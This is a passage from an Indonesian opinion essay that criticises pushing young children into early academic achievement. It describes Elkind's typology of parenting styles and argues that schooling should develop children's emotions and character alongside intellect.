Kondisi di atas terlihat biasa saja bagi orang awam. Namun apabila kita amati lebih cermat, dan kita baca berbagai informasi di intenet dan lileratur yang ada tentang bagaimana pendidikan yang patut bagi anak usia dini, maka kita akan terkejut! Saat ini hampir sebagian besar penyelenggaraan pendidikan bagi anak-anak usia dini melakukan kesalahan. Di samping ketidakpatutan yang dilakukan oleh orang tua akibat ketidaktahuannya!

ANAK-ANAK YANG DIGEGAS…
Ada beberapa indikator untuk melihat berbagai ketidakpatutan terhadap anak. Diantaranya yang paling menonjol adalah orientasi pada kemampuan intelektual secara dini. Akibatnya bermunculanlah anak-anak ajaib dengan kepintaran intelektual luar biasa. Mereka dicoba untuk menjalani akselerasi dalam pendidikannya dengan memperoleh pengayaan kecakapan-kecakapan akademik di dalam dan di luar sekolah.

Kasus yang pernah dimuat tentang kisah seorang anak pintar karbitan ini terjadi pada tahun 1930, seperti yang dimuat majalah New Yorker. Terjadi pada seorang anak yang bernama William James Sidis, putra seorang psikiater. Kecerdasan otaknya membuat anak itu segera masuk Harvard College walaupun usianya masih 11 tahun. Kecerdasannya di bidang matematika begitu mengesankan banyak orang. Prestasinya sebagai anak jenius menghiasi berbagai media masa. Namun apa yang terjadi kemudian? James Thurber seorang wartawan terkemuka. pada suatu hari menemukan seorang pemulung mobil tua, yang tak lain adalah William James Sidis. Si anak ajaib yang begitu dibanggakan dan membuat orang banyak berdecak kagum pada beberapa waktu silam.

Kisah lain tentang kehebatan kognitif yang diberdayakan juga terjadi pada seorang anak perempuan bernama Edith. Terjadi pada tahun 1952, di mana seorang Ibu yang bernama Aaron Stern telah berhasil melakukan eksperimen menyiapkan lingkungan yang sangat menstimulasi perkembangan kognitif anaknya, sejak si anak masih berupa janin. Baru saja bayi itu lahir ibunya telah memperdengarkan suara musik klasik di telinga sang bayi. Kemudian diajak berbicara dengan menggunakan bahasa orang dewasa. Setiap saat sang bayi dikenalkan kartu-kartu bergambar dan kosa kata baru. Hasilnya sungguh mencengangkan! Di usia 1 tahun, Edith telah dapat berbicara dengan kalimat sempurna. Di usia 5 tahun, Edith telah menyelesaikan membaca ensiklopedi Britannica. Usia 9 tahun, ia membaca enam buah buku dan koran New York Times setiap harinya. Usia 12 tahun, dia masuk universitas. Ketika usianya menginjak 15 tahun, ia menjadi guru matematika di Michigan State University. Aaron Stem berhasil menjadikan Edith anak jenius karena terkait dengan kapasitas otak yang sangat tak berhingga. Namun kabar Edith selanjutnya juga tidak terdengar lagi ketika ia dewasa. Banyak kesuksesan yang diraih anak saat ia menjadi anak, tidak menjadi sesuatu yang bemakna dalam kehidupan anak ketika ia menjadi manusia dewasa.

Berbeda dengan banyak kasus legendaris orang-orang terkenal yang berhasil mengguncang dunia dengan penemuannya. Di saat mereka kecil, mereka hanyalah anak-anak biasa yang terkadang juga dilabel sebagai murid yang dungu. Seperti halnya Einstien yang mengalami kesulitan belajar hingga kelas 3 SD. Dia dicap sebagai anak bebal yang suka melamun.

Selama berpuluh-puluh tahun, orang begitu yakin bahwa keberhasilan anak di masa depan sangat ditentukan oleh faktor kognitif. Otak memang memiliki kemampuan luar biasa yang tiada berhingga. Oleh karena itu, banyak orangtua dan para pendidik tergoda untuk melakukan "Early Childhood Training". Era pemberdayaan otak mencapai masa keemasannya. Setiap orangtua dan pendidik berlomba-lomba menjadikan anak-anak mereka menjadi anak-anak yang super (Superkids). Kurikulum pun dikemas dengan muatan 90 % bermuatan kognitif yang mengfungsikan belahan otak kiri. Sementara fungsi belahan otak kanan hanya mendapat porsi 10% saja. Ketidakseimbangan dalam memfungsikan ke dua belahan otak dalam proses pendidikan di sekolah sangat mencolok. Hal ini terjadi sekarang di mana-mana, di Indonesia.

"EARLY RIPE, EARLY ROT…!"

Gejala ketidakpatutan dalam mendidik ini mulai terlihat pada tahun 1990 di Amerika. Saat orangtua dan para professional merasakan pentingnya pendidikan bagi anak-anak semenjak usia dini. Orangtua merasa apabila mereka tidak segera mengajarkan anak-anak mereka berhitung, membaca dan menulis sejak dini maka mereka akan kehilangan "peluang emas" bagi anak-anak mereka selanjutnya. Mereka memasukkan anak-anak mereka sesegera mungkin ke Taman Kanak-kanak (Pra Sekolah). Taman Kanak-kanak pun dengan senang hati menerima anak-anak yang masih berusia di bawah usia 4 tahun. Kepada anak-anak ini gurunya membelajarkan membaca dan berhitung secara formal sebagai pemula.

Terjadinya kemajuan radikal dalam pendidikan usia dini di Amerika sudah dirasakan saat Rusia meluncurkan Sputnik pada tahun 1957. Mulailah "Era Headstart" merancah dunia pendidikan. Para akademisi begitu optimis untuk membelajarkan wins dan matematika kepada anak sebanyak dan sebisa mereka (tiada berhingga). Sementara mereka tidak tahu banyak tentang anak, apa yang mereka butuhkan dan inginkan sebagai anak.

Puncak keoptimisan era Headstart diakhiri dengan pernyataan Jerome Bruner, seorang psikolog dari Harvard University yang menulis sebuah buku terkenal "The Process of Education" pada tahun 1990. Ia menyatakan bahwa kompetensi anak untuk belajar sangat tidak berhingga. Inilah buku suci pendidikan yang mereformasi kurikulum pendidikan di Amerika . "We begin with the hypothesis that any subject can be taught effectively in some intellectually honest way to any child at any stage of development".

Inilah kalimat yang merupakan hipotesis Bruner yang disalahartikan oleh banyak pendidik, yang akhirnya menjadi bencana! Pendidikan dilaksanakan dengan cara memaksa otak kiri anak sehingga membuat mereka cepat matang dan cepat busuk. (early ripe, early rot!).

Anak-anak menjadi tertekan. Mulai dari tingkat pra sekolah hingga usia SD. Di rumah, para orangtua kemudian juga melakukan hal yang sama, yaitu mengajarkan sedini mungkin anak-anak mereka membaca ketika Glenn Doman menuliskan kiat-kiat praktis membelajarkan bayi membaca.

Bencana berikutnya datang saat Arnold Gesell memaparkan konsep "kesiapan-readiness " dalam ilmu psikologi perkembangan temuannya yang mendapat banyak decakan kagum. Ia berpendapat tentang "biological limititations on learning". Untuk itu ia menekankan perlunya dilakukan intervensi dini dan rangsangan inlelektual dini kepada anak agar mereka segera siap belajar apapun.

Tekanan yang bertubi-tubi dalam memperoleh kecakapan akademik di sekolah membuat anak-anak menjadi cepat mekar. Anak -anak menjadi "miniature orang dewasa ". Lihatlah sekarang, anak-anak itu juga bertingkah polah sebagaimana layaknya orang dewasa. Mereka berpakaian seperti orang dewasa, berlaku pun juga seperti orang dewasa. Di sisi lain, media pun merangsang anak untuk cepat mekar terkait dengan musik, buku, film, televisi, dan internet. Lihatlah maraknya program teve yang belum pantas ditonton anak anak yang ditayangkan di pagi atau pun sore hari. Media begitu merangsang keingintahuan anak tentang dunia seputar orang dewasa sebagai seksual promosi yang menyesatkan. Pendek kata, media telah memekarkan bahasa, berpikir dan perilaku anak tumbuh kembang secara cepat.

Tapi apakah kita tahu bagaimana tentang emosi dan perasaan anak? Apakah faktor emosi dan perasaan juga dapat digegas untuk dimekarkan seperti halnya kecerdasan? Perasaan dan emosi ternyata memiliki waktu dan ritmenya sendiri yang tidak dapat digegas atau dikarbit. Bisa saja anak terlihat berpenampilan sebagai layaknya orang dewasa, tetapi perasaan mereka tidak seperti orang dewasa. Anak-anak memang terlihat tumbuh cepat di berbagai hal tetapi tidak di semua hal. Tumbuh mekarnya emosi sangat berbeda dengan tumbuh mekarnya kecerdasan (intelektual) anak. Oleh karena perkembangan emosi lebih rumit dan sukar, terkait dengan berbagai keadaan, cobalah perhatikan, khususnya saat perilaku anak menampilkan gaya "kedewasaan ", sementara perasaannya menangis berteriak sebagai "anak".

Seperti sebuah lagu popular yang pernah dinyanyikan suara emas seorang anak laki-laki "Heintje" di era tahun 70-an: I'm Nobody'S Child.

I'M NOBODY'S CHILD
I'm nobody's child
I'm nobody's child
Just like a flower
I'm growing wild
No mommies kisses and no daddy's smile
Nobody's louch me I'm nobody's child.

DAMPAK BERIKUTNYA TERJADI KETIKA ANAK MEMASUKI USIA REMAJA

Akibat negatif lainnya dari anak-anak karbitan terlihat ketika ia memasuki usia remaja. Mereka tidak segan segan mempertontonkan berbagai macam perilaku yang tidak patut. Patricia O'Brien menamakannya sebagai "The Shrinking of Childhood". "Lu belum tahu ya… bahwa gue telah melakukan segalanya", begitu pengakuan seorang remaja pria berusia 12 tahun kepada teman-temannya. "Gue tahu apa itu minuman keras, drug, dan seks", serunya bangga.

Berbagai kasus yang terjadi pada anak-anak karbitan memperlihatkan bagaimana pengaruh tekanan dini pada anak akan menyebabkan berbagai gangguan kepribadian dan emosi pada anak. Oleh karena ketika semua menjadi cepat mekar, kebutuhan emosi dan sosial anak jadi tak dipedulikan! Sementara anak sendiri membutuhkan waktu untuk tumbuh, untuk belajar dan untuk berkembang, sebuah proses dalam kehidupannya!

Saat ini terlihat kecenderungan keluarga muda lapisan menengah ke atas yang berkarier di luar rumah tidak memiliki waktu banyak dengan anak-anak mereka. Atau pun jika si ibu berkarier di dalam rumah, ia lebih mengandalkan tenaga "baby sitter" sebagai pengasuh anak-anaknva. Colette Dowling menamakan ibu-ibu muda kelompok ini sebagai "Cinderella Syndrome" yang senang window shopping, ikut arisan, ke salon memanjakan diri, atau menonton telenovela atau buku romantis. Sebagai bentuk ilusi menghindari kehidupan nyata yang mereka jalani.
Kelompok ini akan sangat bangga jika anak-anak mereka bersekolah di lembaga pendidikan yang mahal, ikut berbagai kegiatan kurikuler, ikut berbagai les, dan mengikuti berbagai arena, seperti lomba penyanyi cilik, lomba model ini dan itu. Para orangtua ini juga sangat bangga jika anak-anak mereka superior di segala bidang, bukan hanya di sekolah. Sementara orangtua yang sibuk juga mewakilkan diri mereka kepada baby sitter terhadap pengasuhan dan pendidikan anak-anak mereka. Tidak jarang para baby sitter ini mengikuti pendidikan parenting di lembaga pendidikan eksekutif sebagai wakil dari orang tua.

ERA SUPERKIDS

Kecenderungan orangtua menjadikan anaknya "be special" daripada "be average or normal" sernakin marak terlihat. Orangtua sangat ingin anak-anak mereka menjadi "to excel to be the best". Sebetulnya tidak ada yang salah. Namun ketika anak-anak mereka digegas untuk mulai mengikuti berbagai kepentingan orangtua untuk menyuruh anak mereka mengikuti beragam kegiatan, seperti kegiatan mental aritmatik, sempoa, renang, basket, balet, tari ball, piano, biola, melukis, dan banyak lagi lainnya maka lahirlah anak-anak super "SUPERKIDS". Cost (biaya) merawat anak superkids ini sangat mahal.

Era superkids berorientasi kepada "Competent Child". Orangtua saling berkompetisi dalam mendidik anak karena mereka percaya "earlier is better". Semakin dini dan cepat dalam menginvestasikan beragam pengetahuan ke dalam diri anak mereka, maka itu akan semakin baik. Neil Posmant seorang sosiolog Amerika pada tahun 80-an meramalkan bahwa jika anak-anak tercabut dari masa kanak-kanaknya, maka lihatlah ketika anak anak itu menjadi dewasa, maka ia akan menjadi orang dewasa yang ke kanak-kanakan!

BERBAGAI GAYA ORANGTUA

Kondisi ketidakpatutan dalam memperIakukan anak ini telah melahirkan berbagai gaya orangtua (Parenting Style) yang melakukan kesalahan "miseducation" terhadap pengasuhan pendidikan anak-anaknya. Elkind (1989) mengelompokkan berbagai gaya orangtua dalam pengasuhan, antara lain:

Gourmet Parents (Orang tua Borju)
Mereka adalah kelompok pasangan muda yang sukses. Memiliki rumah bagus, mobil mewah, liburan ke tempat-tempat yang eksotis di dunia, dengan gaya hidup kebarat-baratan. Apabila menjadi orangtua maka mereka akan cenderung merawat anak-anaknya seperti halnya merawat karier dan harta mereka. Penuh dengan ambisi! Berbagai macam buku akan dibaca karena ingin tahu isu-isu mutakhir tentang cara mengasuh anak. Mereka sangat percaya bahwa tugas pengasuhan yang baik seperti halnya membangun karier, maka "superkids" merupakan bukti dari kehebatan mereka sebagai orangtua. Orangtua kelompok ini memakaikan anak-anaknya baju-baju mahal bermerek terkenal, memasukkannya ke dalam program-program eksklusif yang prestisius. Keluar masuk restoran mahal. Usia 3 tahun anak-anak mereka sudah diajak tamasya keliling dunia mendampingi orangtuanya. Jika suatu saat kita melihat sebuah sekolah yang halaman parkirnya dipenuhi oleh berbagai merek mobil terkenal, maka itulah sekolah banyak kelompok orangtua "gourmet " atau kelompok borju menyekolahkan anak-anaknya.

College Degree Parents (Orang tua Intelek)
Kelompok ini merupakan bentuk lain dari keluarga intelek yang menengah ke atas. Mereka sangat peduli dengan pendidikan anak-anaknya. Sering melibatkan diri dalam barbagai kegiatan di sekolah anaknya. Misalnya membantu membuat majalah dinding dan kegiatan ekstra kurikular lainnya. Mereka percaya pendidikan yang baik merupakan pondasi dari kesuksesan hidup. Terkadang mereka juga tergiur menjadikan anak-anak mereka "Superkids", apabila si anak memperlihatkan kemampuan akademik yang tinggi. Terkadang mereka juga memasukkan anak-anaknya ke sekolah mahal yang prestisius sebagai bukti bahwa mereka mampu dan percaya bahwa pendidikan yang baik tentu juga harus dibayar dengan pantas. Kelebihan kelompok ini adalah sangat peduli dan kritis terhadap kurikulum yang dilaksanakan di sekolah anak-anaknya. Dan dalam banyak hal mereka banyak membantu dan peduli dengan kondisi sekolah.

Gold Medal Parents (Orang tua Mendali Emas)
Kelompok ini adalah kelompok orangtua yang menginginkan anak-anaknya menjadi kompetitor dalam berbagai gelanggang. Mereka sering mengikutkan anaknya ke berbagai kompetisi dan gelanggang. Ada gelanggang ilmu pengetahuan seperti Olimpiade matematika dan sains yang akhir-akhir ini lagi marak di Indonesia . Ada juga gelanggang seni seperti ikut menyanyi, kontes menari, terkadang kontes kecantikan. Berbagai cara akan mereka tempuh agar anak-anaknya dapat meraih kemenangan dan menjadi "Seorang Bintang Sejati ". Sejak dini mereka persiapkan anak-anak mereka menjadi "Sang Juara", mulai dari juara renang, menyanyi dan melukis hingga none abang cilik ketika anak-anak mereka masih berusia TK.

Sebagai ilustrasi,dalam sebuah arena lomba ratu cilik di Padang , puluhan anak-anak TK baik laki-laki maupun perempuan tengah menunggu di mulainya lomba pakaian adat. Ruangan yang sesak, penuh asap rokok, dan acara yang molor menunggu datangnya tokoh anak dari Jakarta . Anak-anak mulai resah, berkeringat, mata memerah karena keringat melelehi mascara anak kecil mereka. Para orangtua masih bersemangat, membujuk anak-anaknya bersabar. Mengharapkan acara segera di mulai dan anaknya akan kelular sebagai pemenang. Sementara pihak penyelenggara mengusir panas dengan berkipas kertas.

Banyak kasus yang mengenaskan menimpa diri anak akibat perilaku ambisi kelompok gold medal parents ini. Sebagai contoh pada tahun 70-an seorang gadis kecil pesenam usia TK rnengalami kelainan tulang akibat ambisi ayahnya yang guru olahraga. Atau kasus "bintang cilik" Yoan Tanamal yang mengalami tekanan hidup dari dunia glamour masa kanak-kanaknya. Kemudian menjadikannya pengguna dan pengedar narkoba hingga menjadi penghuni penjara. Atau bintang cilik dunia Heintje yang setelah dewasa hanya menjadi pasien dokter jiwa. Gold medal parent menimbulkan banyak bencana pada anak-anak mereka!

Pada tanggal 29 Mei lalu kita saksikan di TV bagaimana bintang cilik "Joshua" yang bintangnya mulai meredup dan mengkhawatirkan orangtuanya. Orangtua Joshua berambisi untuk kembali menjadikan anaknya seorang bintang dengan kembali menggelar konser tunggal. Sebagian dari kita tentu masih ingat bagaimana lucu dan pintarnya Joshua ketika berumur kurang 3 tahun. Dia muncul di TV sebagai anak ajaib karena dapat menghapal puluhan nama-nama kepala negara. kemudian di usia balitanya dia menjadi penyanyi cilik terkenal. Kita kagum bagaimana seorang bapak yang tamatan SMU dan bekerja di salon dapat membentuk dan menjadikan anaknya seorang "superkid" seorang penyanyi sekaligus seorang bintang film.

Do-it Yourself Parents (Orang tua Mandiri)
Merupakan kelompok orangtua yang mengasuh anak-anaknya secara alami dan menyatu dengan semesta. Mereka sering menjadi pelayanan professional di bidang sosial dan kesehatan, sebagai pekerja sosial di sekolah, di tempat ibadah, di Posyandu dan di perpustakaan. Kelompok ini menyekolahkan anak-anaknya di sekolah negeri yang tidak begitu mahal dan sesuai dengan keuangan mereka. Walaupun begitu, kelompok ini juga bemimpi untuk menjadikan anak-anaknya "Superkids earlier is better".

Dalam kehidupan sehari-hari anak-anak mereka diajak mencintai lingkungannya. Mereka juga mengajarkan merawat dan memelihara hewan atau tumbuhan yang mereka sukai. Kelompok ini merupakan kelompok penyayang binatang, dan mencintai lingkungan hidup yang bersih.
Outward Bound Parents (Orang tua Paranoid)

Untuk orangtua kelompok ini mereka memprioritaskan pendidikan yang dapat memberi kenyamanan dan keselamatan kepada anak-anaknya. Tujuan mereka sederhana, agar anak-anak dapat bertahan di dunia yang penuh dengan permusuhan. Dunia di luar keluarga mereka dianggap penuh dengan marabahaya. Jika mereka menyekolahkan anak-anaknya maka mereka lebih memilih sekolah yang nyaman dan tidak melewati tempat tempat tawuran yang berbahaya. Seperti halnya Do It Yourself Parents, kelompok ini secara tak disengaja juga terkadang terpengaruh dan menerima konsep "Superkids". Mereka mengharapkan anak-anaknya menjadi anak-anak yang hebat agar dapat melindungi diri mereka dari berbagai macam marabahaya. Terkadang mereka melatih kecakapan melindungi diri dari bahaya, seperti memasukkan anak-anaknya "Karate, Yudo, pencak Silat" sejak dini. Ketidakpatutan pemikiran kelompok ini dalam mendidik anak-anaknya adalah bahwa mereka terlalu berlebihan melihat marabahaya di luar rumah tangga mereka, mudah panik dan ketakutan melihat situasi yang selalu mereka pikir akan membawa dampak buruk kepada anak. Akibatnya anak-anak mereka menjadi "steril" dengan lingkungannya.

Prodigy Parents (Orang tua Instan)
Merupakan kelompok orangtua yang sukses dalam karier namun tidak memiliki pendidikan yang cukup. Mereka cukup berada, narnun tidak berpendidikan yang baik. Mereka memandang kesuksesan mereka di dunia bisnis merupakan bakat semata. Oleh karena itu mereka juga memandang sekolah dengan sebelah mata, hanya sebagai kekuatan yang akan menumpulkan kemampuan anak-anaknya.

Tidak kalah mengejutkannya, mereka juga memandang anak-anaknya akan hebat dan sukses seperti mereka tanpa memikirkan pendidikan seperti apa yang cocok diberikan kepada anak-anaknya. Oleh karena itu mereka sangat mudah terpengaruh kiat-kiat atau cara unik dalam mendidik anak tanpa bersekolah. Buku-buku instant dalam mendidik anak sangat mereka sukai. Misalnya buku tentang "Kiat-Kiat Mengajarkan bayi Membaca" karangan Glenn Doman , atau "Kiat-Kiat Mengajarkan Bayi Matematika" karangan Siegfried, "Berikan Anakmu pemikiran Cemerlang" karangan Therese Engelmann, dan "Kiat-Kiat Mengajarkan Anak Dapat Membaca Dalam Waktu 9 Hari" karangan Sidney Ledson.

Encounter Group Parents (Orang tua Pengerumpi)
Merupakan kelompok orangtua yang memiliki dan menyenangi pergaulan. Mereka terkadang cukup berpendidikan, namun tidak cukup berada atau terkadang tidak memiliki pekerjaan tetap (luntang lantung). Terkadang mereka juga merupakan kelompok orangtua yang kurang bahagia dalam perkawinannya.

Mereka menyukai dan sangat mementingkan nilai-nilai relationship dalam membina hubungan dengan orang lain. Sebagai akibatnya kelompok ini sering melakukan ketidakpatutan dalam mendidik anak-anak dengan berbagai perilaku "gang ngrumpi" yang terkadang mengabaikan anak. Kelompok ini banyak membuang-buang waktu dalam kelompoknya sehingga mengabaikan fungsi mereka sebagai orangtua. Atau pun jika mereka memiliki aktivitas di kelompokya lebih berorientasi kepada kepentingan kelompok mereka. Kelompok ini sangat mudah terpengaruh dan latah untuk memilihkan pendidikan bagi anak-anaknya. Menjadikan anak-anak mereka sebagai "Superkids" juga sangat diharapkan. Namun banyak dari anak anak mereka biasanya kurang menampilkan minat dan prestasi yang diharapkan.

Milk and Cookies Parents (Orang tua Ideal)
Kelompok ini merupakan kelompok orangtua yang memiliki masa kanak-kanak yang bahagia, yang memiliki kehidupan masa kecil yang sehat dan manis. Mereka cenderung menjadi orangtua yang hangat dan menyayangi anak-anaknya dengan tulus. Mereka juga sangat peduli dan mengiringi tumbuh kembang anak-anak mereka dengan penuh dukungan.

Kelompok ini tidak berpeluang menjadi oraugtua yang melakukan "miseducation" dalam merawat dan mengasuh anak-anaknya. Mereka memberikan lingkungan yang nyaman kepada anak-anaknya dengan penuh perhatian, dan tumpahan cinta kasih yang tulus sebagai orang tua.
Mereka memenuhi rumah tangga mereka dengan buku-buku, lukisan dan musik yang disukai oleh anak-anaknya. Mereka berdiskusi di ruang makan, bersahabat dan menciptakan lingkungan yang menstimulasi anak-anak mereka untuk tumbuh mekar segala potensi dirinya. Anak-anak mereka pun meninggalkan masa kanak-kanak dengan penuh kenangan indah. Kehangatan hidup berkeluarga menumbuhkan kekuatan rasa yang sehat pada anak untuk percaya diri dan antusias dalam kehidupan belajar.

Kelompok ini merupakan kelompok orangtua yang menjalankan tugasnya dengan patut kepada anak-anak mereka. Mereka begitu yakin bahwa anak membutuhkan suatu proses dan waktu untuk dapat menemukan sendiri keistimewaan yang dimilikinya. Dengan kata lain, mereka percaya bahwa anak sendirilah yang akan menemukan sendiri kekuatan di dirinya. Bagi mereka, setiap anak adalah benar-benar seorang anak yang hebat dengan kekuatan potensi yang juga berbeda dan unik!

Kamu harus tahu bahwa tiada satu pun yang lebih tinggi, atau lebih kuat, atau lebih baik, atau pun lebih berharga dalam kehidupan nanti daripada kenangan indah; terutama kenangan manis di masa kanak-kanak. Kamu mendengar banyak hal tentang pendidikan, namun beberapa hal yang indah, kenangan berharga yang tersimpan sejak kecil adalah mungkin itu pendidikan yang terbaik. Apabila seseorang menyimpan banyak kenangan indah di masa kecilnya, maka kelak seluruh kehidupannya akan terselamatkan. Bahkan apabila hanya ada satu saja kenangan indah yang tersiampan dalam hati kita, maka itulah kenangan yang akan memberikan satu hari untuk keselamatan kita" (destoyevsky' s brothers karamoz)

PERSPEKTIF SEKOLAH YANG MENGKARBIT ANAK
Kecenderungan sekolah untuk melakukan pengkarbitan kepada anak didiknya juga terlihat jelas. Hal ini terjadi ketika sekolah berorientasi kepada produk daripada proses pembelajaran. Sekolah terlihat sebagai sebuah "industri" dengan tawaran-tawaran menarik yang mengabaikan kebutuhan anak. Ada program akselerasi, ada program kelas unggulan. Pekerjaan rumah yang menumpuk. Tugas-tugas dalam bentuk hanya lembaran kerja. Kemudian guru-guru yang sibuk sebagai "Operator kurikulum" dan tidak punya waktu mempersiapkan materi ajar karena rangkap tugas sebagai administrator sekolah. Sebagai guru kelas yang mengawasi dan mengajar terkadang lebih dari 40 anak, guru hanya dapat menjadi "pengabar isi buku pelajaran" ketimbang menjalankan fungsi edukatif dalam menfasilitasi pembelajaran. Di saat-saat tertentu, sekolah akan menggunakan "mesin-mesin dalam menskor" capaian prestasi yang diperoleh anak setelah diberikan ujian berupa potongan-potongan mata pelajaran. Anak didik menjadi dimiskinkan dalam menjalani pendidikan di sekolah. Pikiran mereka diforsir untuk menghapalkan atau melakukan tugas-tugas yang tidak mereka butuhkan sebagai anak.

Manfaat apa yang mereka peroleh jika guru menyita anak membuat bagan organisasi sebuah birokrasi? Manfaat apa yang dirasakan anak jika mereka diminta membuat PR yang menuliskan susunan kabinet yang ada di pemerintahan? Manfaat apa yang dimiliki anak jika ia disuruh menghapal kalimat-kalimat yang ada di dalam buku pelajaran? Tumpulnya rasa dalam mencerna apa yang dipikirkan oleh otak dengan apa yang direfleksikan dalam sanubari dan perilaku-perilaku keseharian mereka sebagai anak menjadi semakin senjang. Anak-anak tahu banyak tentang pengetahuan yang dilatihkan melalui berbagai mata pelajaran yang ada dalam kurikulum persekolahan, namun mereka bingung mengimplementasikan dalam kehidupan nyata. Sepanjang hari mereka bersekolah di sekolah untuk sekolah? dengan tugas-tugas dan PR yang menumpuk.

Namun sekolah tidak mengerti bahwa anak sebenarnya butuh bersekolah untuk menyongsong kehidupannya! Lihatlah, mereka semua belajar dengan cara yang sama. Membangun 90 % kognitif dengan 10 % afektif. Paulo Freire mengatakan bahwa sekolah telah melakukan "pedagogy of the oppressed" terhadap anak-anak didiknya. Di mana guru mengajar, anak diajar, guru mengerti semuanya dan anak tidak tahu apa-apa, guru berpikir dan anak dipikirkan, guru berbicara dan anak mendengarkan, guru mendisiplin dan anak didisiplin, guru memilih dan mendesakkan pilihannya dan anak hanya mengikuti, guru bertindak dan anak hanya membayangkan bertindak lewat cerita guru, guru memilih isi program dan anak menjalaninya begitu saja, guru adalah subjek dan anak adalah objek dari proses pembelajaran (Freire,1993) . Model pembelajaran banking system ini dikritik habis-habisan sebagai masalah kemanusiaan terbesar. Belum lagi persaingan antar sekolah. dan persaingan ranking wilayah.

MENGKOMPETENSI ANAK MERUPAKAN "KETIDAKPATUTAN PENDIDIKAN"
"Anak adalah anugrah Tuhan sebagai hadiah kepada semesta alam, tetapi citra anak dibentuk oleh sentuhan tangan-tangan manusia dewasa yang bertanggungjawab"
(Nature versus Nurture)

Bagaimana?
Karena ada dua pengertian kompetensi. Kompetensi yang datang dari kebutuhan di luar diri anak (direkayasa oleh orang dewasa) atau kompetensi yang sesuai dengan kebutuhan dari dalam diri anak sendiri.

Sebagai contoh adalah konsep kompetensi yang dikemukakan oleh John Watson (psikolog) pada tahun 1920 yang mengatakan bahwa bayi dapat ditempa menjadi apapun sesuai kehendak kita; sebagai komponen sentral dari konsep kompetensi. Jika bayi-bayi mampu jadi pembelajar, maka mereka juga dapat dibentuk melalui pembelajaran dini.

Kata-kata Watson yang sangat terkenal adalah sebagai berikut :
"Give me a dozen healthy infants, well formed and my own special world to bring them up in, and I'll guarantee you to take any one at random and train him to become any type of specialist I might select — doctor, lawyer, artist, merchant chief and yes, even beggar and thief regardless of this talents, penchants, tendencies, vocations, and race of his ancestors "

Pemikiran Watson membuat banyak orang tua melahirkan "intervensi dini" setelah mereka melakukan serangkaian tes Inteligensi kepada anak-anaknya. Ada sebuah kasus kontroversi yang terjadi di Institut New Jersey pada tahun 1979. Dimana guru-guru melakukan serangkaian program tes untuk mengukur "Kecakapan Dasar Minimum (Minimum Basic Skill)" dalam mata pelajaran membaca dan matematika. Hasil dari pelaksanaan program ini dilaporkan kolomnis pendidikan Fred Hechinger kepada New York Times sebagai berikut : "The improvement in those areas were not the result of any magic program or any singular teaching strategy, they were…. simply proof that accountability is crucial and that, in the past five years, it has paid off in New Yersey"

Juga belajar dari biografi tiga orang tokoh legendaris dunia seperti Eleanor Roosevelt, Albert Einstein dan Thomas Edison, yang diilustrasikan sebagai anak-anak yang bodoh dan mengalami keterlambatan dalam akademik ketika mereka bersekolah di SD kelas rendah. Semestinya kita dapat menyimpulkan bahwa pendidikan dini sangat berbahaya jika dibuatkan kompetensi-kompetensi perolehan pengetahuan hanya secara kognitif.

Oleh karena hingga hari ini, sekolah belum mampu menjawab dan dapat menampilkan kompetensi emosi sosial anak dalam proses pembelajaran. Pendidikan anak seutuhnya yang terkait dengan berbagai aspek seperti emosi, sosial, kognitif fisik, dan moral belum dapat dikemas dalam pembelajaran di sekolah secara terintegrasi. Sementara pendidikan sejati adalah pendidikan yang mampu melibatkan berbagai aspek yang dimiliki anak sebagai kompetensi yang beragam dan unik untuk dibelajarkan. Bukan anak dibelajarkan untuk di tes dan di skor saja!. Pendidikan sejati bukanlah paket-paket atau kemasan pembelajaran yang berkeping-keping, tetapi bagaimana secara spontan anak dapat terus menerus merawat minat dan keingintahuan untuk belajar. Anak mengenali tumbuh kembang yang terjadi secara berkelangsungan dalam kehidupannya. Perilaku keingintahuan "curiosity" inilah yang banyak tercabut dalam sistem persekolahan kita.

AKADEMIK BUKANLAH KEBUTUHAN DARI SEBUAH PENDIDIKAN! "EMPTY SACKS WILL NEVER STAND UPRIGHT"(GEORGE ELIOT).

Pendidikan anak seutuhnya tentu saja bukan hanya mengasah kognitif melalui kecakapan akademik semata! Sebuah pendidikan yang utuh akan membangun secara bersamaan, pikiran, hati, pisik, dan jiwa yang dimiliki anak didiknya. Membelajarkan secara serempak pikiran, hati dan pisik anak akan menumbuhkan semangat belajar sepanjang hidup mereka. Di sinilah dibutuhkannya peranan guru sebagai pendidik akademik dan pendidik sanubari "karakter". Di mana mereka mendidik anak menjadi "good and smart" terang hati dan pikiran.

Sebuah pendidikan yang baik akan melahirkan "how learn to learn" pada anak didik mereka. Guru-guru yang bersemangat memberi keyakinan kepada anak didiknya bahwa mereka akan memperoleh kecakapan berpikir tinggi, dengan berpikir kritis, dan cakap memecahkan masalah hidup yang mereka hadapi sebagai bagian dari proses mental. Pengetahuan yang terbina dengan baik yang melibatkan aspek kognitif dan emosi, akan melahirkan berbagai kreativitas.
Leonardo da Vinci seorang pelukis besar telah menghabiskan waktunya berjam-jam untuk belajar anatomi tubuh manusia. Thomas Edison mengatakan bahwa "genius is 1 percent inspiration and 99 percent perspiration ".

Semangat belajar "encourage" tidak dapat muncul tiba-tiba di diri anak. Perlu proses yang melibatkan hati, kesukaan dan kecintaan belajar. Sementara di sekolah banyak anak patah hati karena gurunya yang tidak mencintai mereka sebagai anak. Selanjutnya misi sekolah lainnya yang paling fundamental adalah mengalirkan "moral litermy" melalui pendidikan karakter. Kita harus ingat bahwa kecerdasan saja tidak cukup. Kecerdasan plus karakter inilah tujuan sejati sebuah pendidikan (Martin Luther King, Jr ). Inilah keharmonisan dari pendidikan, bagaimana menyeimbangkan fungsi otak kiri dan kanan, antara kecerdasan hati dan pikiran, antara pengetahuan yang berguna dengan perbuatan yang baik.

PENUTUP
Mengembalikan pendidikan pada hakikatnya untuk menjadikan manusia yang terang hati dan terang pikiran "good and smart" merupakan tugas kita bersama. Melakukan reformasi dalam pendidikan merupakan kerja keras yang mesti dilakukan secara serempak, antara sekolah dan masyarakat, khususnya antara guru dan orangtua. Pendidikan yang ada sekarang ini banyak yang tidak berorientasi kepada kebutuhan anak sehingga tidak dapat memekarkan segala potensi yang dimiliki anak. Atau pun jika ada yang terjadi adalah ketidakseimbangan yang cenderung memekarkan aspek kognitif dan mengabaikan faktor emosi.

